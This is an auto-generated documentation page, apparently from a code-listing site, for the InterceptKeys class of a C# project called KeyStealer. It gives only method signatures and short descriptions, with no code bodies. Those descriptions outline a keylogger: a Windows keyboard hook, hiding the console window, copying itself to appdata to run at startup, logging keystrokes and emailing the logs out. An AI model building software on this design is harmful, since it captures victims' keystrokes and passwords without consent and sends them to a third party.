C# Class InterceptKeys

显示文件 Open project: htll/KeyStealer Class Usage Examples

Public Methods

Method Description
Main ( ) : void
checkInternet ( ) : bool
createShortcut ( string shortcutName, string shortcutPath, string targetFileLocation ) : void

This method creates a shortcut

Private Methods

Method Description
CallNextHookEx ( IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam ) : IntPtr
GetConsoleWindow ( ) : IntPtr
GetModuleHandle ( string lpModuleName ) : IntPtr
HookCallback ( int nCode, IntPtr wParam, IntPtr lParam ) : IntPtr
SetHook ( LowLevelKeyboardProc proc ) : IntPtr
SetWindowsHookEx ( int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId ) : IntPtr
ShowWindow ( IntPtr hWnd, int nCmdShow ) : bool
UnhookWindowsHookEx ( IntPtr hhk ) : bool
init ( ) : void

Method used to copy the executable to user's appdata and make it launch at startup

sendMail ( string logs, string sender, string receiver, string password, string filename ) : void

Method used to send logs via mail

writeLetter ( Keys, key ) : void

Method used to write the key received to the log file

Method Details

Main() public static method

public static Main ( ) : void
return void

checkInternet() public static method

public static checkInternet ( ) : bool
return bool

createShortcut() public static method

This method creates a shortcut
public static createShortcut ( string shortcutName, string shortcutPath, string targetFileLocation ) : void
shortcutName string The name of the shortcut
shortcutPath string The location of the shortcut
targetFileLocation string What should be linked
return void